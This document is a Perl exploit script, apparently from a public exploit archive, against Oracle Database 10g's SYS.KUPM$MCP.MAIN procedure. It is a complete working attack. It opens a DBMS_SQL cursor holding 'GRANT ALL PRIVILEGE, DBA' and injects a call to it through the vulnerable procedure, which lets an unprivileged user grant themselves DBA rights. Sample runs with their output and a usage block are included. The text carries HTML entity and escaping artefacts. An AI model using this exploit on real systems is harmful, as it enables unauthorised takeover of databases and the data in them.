Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit v2

                                                #!/usr/bin/perl
#
# Remote Oracle KUPM$MCP.MAIN exploit (10g)
#  - Version 2 - New \"evil cursor injection\" tip!
#  - No \"create procedure\" privilege needed!
#  - See: http://www.databasesecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
# 
# Tested on \"Oracle Database 10g Enterprise Edition Release 10.1.0.3.0\"
# 
#   REF:    http://www.red-database-security.com/
#   
#   AUTHOR: Andrea \"bunker\" Purificato
#           http://rawlab.mindcreations.com
#
#   DATE:   Copyright 2007 - Tue Mar 27 10:46:55 CEST 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
# 
# 
# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
#  [-] Wait...
#  [-] Revoking DBA from BUNKER...
#  DBD::Oracle::db do failed: ORA-01951: ROLE \'DBA\' not granted to \'BUNKER\' (DBD ERROR: OCIStmtExecute) [for Statement \"REVOKE DBA FROM BUNKER\"] at kupm-mcpmainV2.pl line 104.
#  [-] Done!
# 
# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -g
#  [-] Wait...
#  [-] Creating evil cursor...
#  Cursor: 2
#  [-] Go ...(don\'t worry about errors)!
#  DBD::Oracle::st execute failed: ORA-06512: at \"SYS.KUPM$MCP\", line 874
#  ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement \"
#  BEGIN
#    SYS.KUPM$MCP.MAIN(\'\'\' AND 0=dbms_sql.execute(2)--\',\'\');
#  END;
#  \"] at kupm-mcpmainV2.pl line 134.
#  [-] YOU GOT THE POWAH!!
# 
# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
#  [-] Wait...
#  [-] Revoking DBA from BUNKER...
#  [-] Done!
#

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;<<\"USAGE\";
&nbsp;&nbsp;&nbsp;&nbsp;
Syntax:&nbsp;$0&nbsp;-h&nbsp;<host>&nbsp;-s&nbsp;<sid>&nbsp;-u&nbsp;<user>&nbsp;-p&nbsp;<passwd>&nbsp;-g|-r&nbsp;[-P&nbsp;<port>]

Options:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<host>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;address
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<sid>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;sid&nbsp;name
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-u&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<user>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<passwd>&nbsp;&nbsp;&nbsp;password&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-g|-r&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(g)rant&nbsp;dba&nbsp;to&nbsp;user&nbsp;|&nbsp;(r)evoke&nbsp;dba&nbsp;from&nbsp;user
&nbsp;&nbsp;&nbsp;&nbsp;[-P&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<port>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oracle&nbsp;port]

USAGE
&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;0
}

my&nbsp;$opt_string&nbsp;=&nbsp;\'h:s:u:p:grP:\';
getopts($opt_string,&nbsp;\\%opt)&nbsp;or&nbsp;&usage;
&usage&nbsp;if&nbsp;(&nbsp;!$opt{h}&nbsp;or&nbsp;!$opt{s}&nbsp;or&nbsp;!$opt{u}&nbsp;or&nbsp;!$opt{p}&nbsp;);
&usage&nbsp;if&nbsp;(&nbsp;!$opt{g}&nbsp;and&nbsp;!$opt{r}&nbsp;);
my&nbsp;$user&nbsp;=&nbsp;uc&nbsp;$opt{u};

my&nbsp;$dbh&nbsp;=&nbsp;undef;
if&nbsp;($opt{P})&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$dbh&nbsp;=&nbsp;DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}\",&nbsp;$opt{u},&nbsp;$opt{p})&nbsp;or&nbsp;die;
}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$dbh&nbsp;=&nbsp;DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s}\",&nbsp;$opt{u},&nbsp;$opt{p})&nbsp;or&nbsp;die;
}

my&nbsp;$sqlcmd&nbsp;=&nbsp;\"GRANT&nbsp;ALL&nbsp;PRIVILEGE,&nbsp;DBA&nbsp;TO&nbsp;$user\";
print&nbsp;\"[-]&nbsp;Wait...
\";
$dbh->func(&nbsp;1000000,&nbsp;\'dbms_output_enable\'&nbsp;);


if&nbsp;($opt{r})&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"[-]&nbsp;Revoking&nbsp;DBA&nbsp;from&nbsp;$user...
\";
&nbsp;&nbsp;&nbsp;&nbsp;$sqlcmd&nbsp;=&nbsp;\"REVOKE&nbsp;DBA&nbsp;FROM&nbsp;$user\";
&nbsp;&nbsp;&nbsp;&nbsp;$dbh->do(&nbsp;$sqlcmd&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"[-]&nbsp;Done!
\";
&nbsp;&nbsp;&nbsp;&nbsp;$dbh->disconnect;
&nbsp;&nbsp;&nbsp;&nbsp;exit;
}

print&nbsp;\"[-]&nbsp;Creating&nbsp;evil&nbsp;cursor...
\";
my&nbsp;$sth&nbsp;=&nbsp;$dbh->prepare(qq{
DECLARE
MYC&nbsp;NUMBER;
BEGIN
&nbsp;&nbsp;MYC&nbsp;:=&nbsp;DBMS_SQL.OPEN_CURSOR;
&nbsp;&nbsp;DBMS_SQL.PARSE(MYC,\'declare&nbsp;pragma&nbsp;autonomous_transaction;&nbsp;begin&nbsp;execute&nbsp;immediate&nbsp;\'\'$sqlcmd\'\';commit;end;\',0);
&nbsp;&nbsp;DBMS_OUTPUT.PUT_LINE(\'Cursor:&nbsp;\'||MYC);
END;
}&nbsp;);
$sth->execute;
my&nbsp;$cursor&nbsp;=&nbsp;undef;
while&nbsp;(my&nbsp;$line&nbsp;=&nbsp;$dbh->func(&nbsp;\'dbms_output_get\'&nbsp;))&nbsp;{&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"$line
\";
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($line&nbsp;=~&nbsp;/^Cursor:&nbsp;(d)/)&nbsp;{$cursor&nbsp;=&nbsp;$1;}
}
$sth->finish;

print&nbsp;\"[-]&nbsp;Go&nbsp;...(don\'t&nbsp;worry&nbsp;about&nbsp;errors)!
\";
$sth&nbsp;=&nbsp;$dbh->prepare(qq{
BEGIN
&nbsp;&nbsp;SYS.KUPM$MCP.MAIN(\'\'\'&nbsp;AND&nbsp;0=dbms_sql.execute($cursor)--\',\'\');
END;
});
$sth->execute;
$sth->finish;
print&nbsp;\"[-]&nbsp;YOU&nbsp;GOT&nbsp;THE&nbsp;POWAH!!
\";
$dbh->disconnect;
exit;

&nbsp;